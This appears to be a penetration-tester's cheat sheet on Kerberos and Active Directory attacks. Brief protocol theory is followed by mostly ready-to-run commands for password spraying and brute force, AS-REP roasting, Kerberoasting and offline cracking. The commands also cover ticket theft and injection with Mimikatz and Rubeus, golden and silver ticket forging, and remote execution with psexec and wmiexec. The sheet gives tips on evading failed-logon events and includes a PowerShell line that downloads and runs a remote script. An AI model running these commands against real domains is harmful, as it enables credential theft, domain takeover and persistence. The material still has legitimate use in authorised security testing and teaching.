Skip to content

KERBEROS

General & Theory

# Kerberos is just SSO, it's like SAML or OpenID.
# Authentication to a trusted source (KDC)
# KDC delegates access

# KDC = Key Distribution Center
# AS = Authentication Service
# TGT= Ticket Granting Ticket
# TGS = Ticket Graning Service

# In network, protocol used is KRB5
# TGS are for resources, not hosts

# Authentication Process
# - Authenticate to AS with a password → Get a TGT
# - Request access to resource from TGS → Show TGT
# - Valid TGT → Get TGS
# - Show TGS to resource → resource accepts TGS → Log in

# Each resource can check for valid TGS → Privileged Attribute Certificate (PAC) → Addition to Kerberos
# NTLM Authentication
# - chall/response using NT hash
# - NTLMSSP
# Communication with DC over NetLogon (RPC)

NTLM vs NTLMv1/v2 vs Net-NTLMv1/v2

# NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.
# However, NTLM (without v1/v2) means something completely different.

# NTLM hashes are stored in the SAM or NTDS database.
# It is LMHASH:NTHASH

# Net-NTLM hashes are used for network authentication

# You CAN perform Pass-The-Hash attacks with NTLM hashes
# You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes

Kerbrute

# Bruteforcing Windows passwords with Kerberos is much faster than any other approach 
# And potentially stealthier since pre-authentication failures do not trigger that
# "traditional" An account failed to log on event 4625. With Kerberos, you can validate 
# a username or test a login by only sending one UDP frame to the KDC (Domain Controller)

# User enum (valid/invalid)
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

# Password spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

# Brute force one user (take care of policy!)
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

# General bruteforce (from username:password wordlist or from stdin)
./kerbrute -d lab.ropnop.com bruteforce -

Impacket

# GetTGT
# Given a password, hash or aesKey, this script will request a TGT and save it as ccache.
getTGT.py -hashes lm:nt domain.com/user

# GetST
# Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache.
# If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate 
# switch to request the ticket on behalf another user.
getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user

# GetUserSPNs
# This example will try to find and fetch Service Principal Names that are associated with normal user accounts.
# Output is compatible with JtR and HashCat.
GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin

# GetNPUsers
# This example will attempt to list and get TGTs for those users that have the property
# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
# Get TGT for a user
→ GetNPUsers.py contoso.com/john.doe -no-pass
# Get a list of users with UF_DONT_REQUIRE_PREAUTH set
→ GetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily
# Request TGTs for all users
→ GetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily
# Request TGTs for users in a file
→ GetNPUsers.py contoso.com/ -no-pass -usersfile users.txt

# ticketer
# This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC).
ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser

# raiseChild
# This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.
python raiseChild.py childDomain.net/adminuser
python raiseChild.py childDomain.net/adminuser:mypwd
python raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser

# This will perform the attack and then psexec against target-exec as Enterprise Admin
python raiseChild.py -target-exec targetHost childDomainn.net/adminuser
# This will save the final goldenTicket generated in the ccache target file
python raiseChild.py -w ccache childDomain.net/adminuser

Technical tips

# All the Impacket scripts support Kerberos authentication as well:
# -k -no-pass
# must specify host as FQDN and user as realm/user

# MISC
# - NETLOGON is inefficient (SMB, rpcclient)
# - RDP is slow
# - LDAP binds are faster but still result in event 4625

# Ask for password
kinit user

# Events ID
# - Failing Kerberos pre-authentication DOES NOT trigger a Logon failure event (4625):
# - Have to manually specify event logging for Kerberos (which is in a different location)
# - If you're only logging on traditional “Logon failures”, you'd miss this.
# - Now failures will be logged as event 4771.
# - So Kerberos pre-auth is a faster and potentially stealthier way to bf password.

NTLM Auth Disabled

# Some orgs have fully disabled NTLM and rely solely on Kerberos (it's rare)
# - A lot of pentest tools don't operate well in these environements
# - MSF, CrackMapExec, etc. cause they rely on usernames/passwords or NT hashes
# - if you have a password you can always do Kerberos auth, just exchange the password for a TGT, you can also “overpass-the-hash”.

# SMB Error “STATUS_NOT_SUPPORTED” = NTLM Auth Not Supported → Kerberos
wmiexec.py domain/user@hostname

kinit user@domain

KRB5CCNAME=/tmp/krb5cc_0 python wmiexec.py

Password Bruteforcing

# Password bruteforcing
# - Care at policy, lockout is mostly at 3 failed attempts.
# - Windows security events are logged for every failed login attempts.
# - Usually tries SMB and has to set up a connection at every attempt.
# - Horizontal bruteforcing is a better approach
#     - Choose 1 or 2 common passwords, test them for every domain user

# Password guessing with Kerberos ! Only 2 frames to check password and it's UDP no TCP overhead.
# https://github.com/ropnop/kerberos_windows_scripts contains scripts to BF password using kinit ! 
# It's still lockout account, putting DC as an IP address saves us a DNS lookup each time (even faster).
script.sh <domain> <DC> <userlist> PasswordToTest

Service Principal Names (SPN)

# Service Principal Names (SPNs) are used in AD to tie services into Kerberos authentication
# Common SPN directory: http://adsecurity.org/?page_id=183
# To find SPN you can use LDAP:

ldapsearch -LLL -x -H ldap://pdc01.domain.com -D "user@domain" -W -b "dc=lab,dc=ropnop,dc=com" "servicePrincipalName=*" sAMAccountName servicePrincipalName 

# You can request a TGS for a SPN, e.g. to access RDP, use TGT to request TGS for TERMSRV/PDC01
# The TGS is encrypted with the service accounts NTLM password hash.
# It's possible to crack TGS offline, but cracking a TGS for a service SPN is generally useless UNLESS the SPN is tied to a user account.

ASREP Roasting

# AS-REP roasting is an attack against Kerberos for user that don't require preauthentication
# During preauthentication, a user will enter their password which will be used to encrypt a timestamp 
# and then the domain controller will attempt to decrypt it and validate that the right password was used and that 
# it is not replaying a previous request.  From there, the TGT will be issued for the user to use for future
# authentication.  If preauthentication is disabled, an attacker could request authentication data for any user and
#  the DC would return an encrypted TGT that can be brute-forced offline. 

# Using impacket
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py domain/user:passwrd -request -format [hashcat|john] -outputfile outfile

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py domain/ -usersfile <users_file> -format [hashcat|john] -outputfile outfile

# Using Rubeus
.\Rubeus.exe asreproast /format:[hashcat|john] /outfile:file

Kerberoasting

# For service accounts, it's common to set SPNs to user accounts, the TGS is then encrypted with the user's NTLM password hash:
# - It's called “Kerberoasting” and presented by Tim Medin at Derbycon 2015.

# Kerberoasting requires a valid domain account.
# Three step process:
# - Find SPN tied to user accounts through LDAP (service accounts)
# - Request a TGS for each SPN
# - Crack the TGS offline to recover the service account's password

# Impacket makees this easy with GetUserSPNs.py
# Will automatically LDAP query then request and TGS in JtR/Hashcat format.

GetUserSPNs.py -dc-ip 10.10.10.100 -outputfile kerberos_hashes.txt -request -debug active.htb/SVC_TGS:GPPstillStandingStrong2k18

# You may encounter issue with timezone, you can fix it out that way:
• service ntp stop

# Comment server line in /etc/ntp.conf
timedatectl set-ntp false

# Get time of the target:
ldapsearch -LLL -x -H ldap://10.10.10.100 -b '' -s base '(objectclass=*)'
See this => currentTime: 20180921143415.0Z (21/09/2018 at 14h34m15s)

dpkg-reconfigure tzdata (define None of the above, then GMT)
date --set="Fri 21 Sep 2018 14:35:00"

# Verify using several times “date”

# Once you get a TGS you can crack it that way using either hashcat or john the ripper from bleeding repo:
# You have to be in that folder /home/user/Desktop/Certifs/OSCP/Tools/PasswordCracking/JohnTheRipper/run
./john --wordlist=/home/user/Desktop/Certifs/OSCP/Tools/Wordlist/Bruteforce/rockyou.txt --fork=4 --format=krb5tgs /home/user/Desktop/HackTheBox/VM/Active/kerberos_hashes.txt

# Now you can perform such attacks without having access to LDAP
# The mentionned version of GetUserSPNs also patches some common errors
https://swarm.ptsecurity.com/kerberoasting-without-spns/

# If you managed to extract user list before, you can use it
GetUserSPNs.py DOMAIN.COM/Administrator:Pass -usersfile user.txt

# Over Pass the Hash (how can you do Kerberos auth without a password ?)
# - AS requests to get a TGT, it encrypts the nonce with the NT hash of the password (hash = encryption key)
# - So you can request a TGT with only the NT hash

# Forging Kerberos Tickets:
# - Using Mimikatz or Impacket we can forge TGTs or TGSs
# - Golden Ticket
#    - Forging a TGT (and the included PAC)
#    - Requires tje krbtgt key, the “master” encryption key from the KDC
#    - Can be used to request any TGS from the Domain Controller
# - Silver Ticket
#    - Forging a TGS (and included PAC)
#    - Requires the machine account password (key) from the KDC
#    - Can be used to directly access any service (without touching DC)

ticket.py --aesKey <xxxxxxxx> --domain-sid <S-1-xxxxxxx> --domain <domain> --duration <days> --groups <RIDs> <username>

secretsdump.py --just-dc-user krbtgt DOMAIN/user@IPDC

# Silver ticket is useful for persistence to a single host/service combo
# - Stealthier than Golden Tickets - you never need to actually contact the DC
# - It needs the machine accounts Kerberos key, machine accounts usually end in $
# - You must specify the service you need.

# Called “over-pass-the-hash”, natively with ktuitl and with Impacket.

Speaking Kerberos from Linux

 # Tool
apt-get install heimdal-clients

# Setting up
# Add Windows AD realm to /etc/krb5.conf
# You can figure names out through SRV DNS records
[libdefault]
        default_realm = LAB.ROPNOP.COM

[realms]
        LAB.ROPNOP.COM = {
                                        kdc = pdc01.lab.ropnop.com
                                        admin_server = pdc01.lab.ropnop.com
                                        default_domain = pdc01.lab.ropnop.com
                          }

[domain_realm]
        lab.ropnop.com = LAB.ROPNOP.COM
        .lab.ropnop.com = LAB.ROPNOP.COM


# DNS must be properly configured (/etc/resolv.conf)
domain lab.ropnop.com
search lab.ropnop.com
nameserver 172.16.13.100

# Time must be sync
apt-get install rdate
rdate -n <DC>

# Get a TGT (kinit is used to check out a TGT from the DC)
kinit user@REALM

# list current tickets (if all is ok, you'll get a TGT from the DC)
klist

# Now any tool that supports Kerberos auth can be used with your cache.
# GSSAPI = Kerberos => Auth mechanism that Kerberos 5 uses.
# Most tools use environment variable KRB5CCNAME to point to current cache, if not set automatically:
# export KRB5CCNAME=/tmp/krb5cc_0

# smbclient
smbclient --kerberos //client01.lab.ropnop.com/IPC$

# rpcclient
rpcclient -k client01.lab.ropnop.com

Extracting tickets from rubeus dump

https://github.com/curi0usJack/rubeus2ccache

# Run rubeus to dump tickets
rubeus dump /service:krbtgt > output.txt

# Extract
python3 rubeus2ccache.py -i output.txt

# Then load tickets into tools...

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

With Impacket example GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

With Rubeus:

# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>

Cracking with dictionary of passwords:

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>

john --wordlist=<passwords_file> <AS_REP_responses_file>

Kerberoasting

With Impacket example GetUserSPNs.py:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

With Rubeus:

.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>

With Powershell:

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

Cracking with dictionary of passwords:

hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

Overpass The Hash/Pass The Key (PTK)

By using Impacket examples:

# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked

# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Rubeus and PsExec:

# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd

Pass The Ticket (PTT)

Harvest tickets from Linux

Check type and location of tickets:

grep default_ccache_name /etc/krb5.conf

If none return, default is FILE:/tmp/krb5cc_%{uid}.

In case of file tickets, you can copy-paste (if you have permissions) for use them.

In case of being KEYRING tickets, you can use tickey to get them:

# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i

Harvest tickets from Windows

With Mimikatz:

mimikatz # sekurlsa::tickets /export

With Rubeus in Powershell:

.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

To convert tickets between Linux/Windows format with ticket_converter.py:

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using ticket in Linux:

With Impacket examples:

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Using ticket in Windows

Inject ticket with Mimikatz:

mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Silver ticket

With Impacket examples:

# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Mimikatz:

# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Golden ticket

With Impacket examples:

# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Mimikatz:

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Misc

To get NTLM from password:

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'

Tools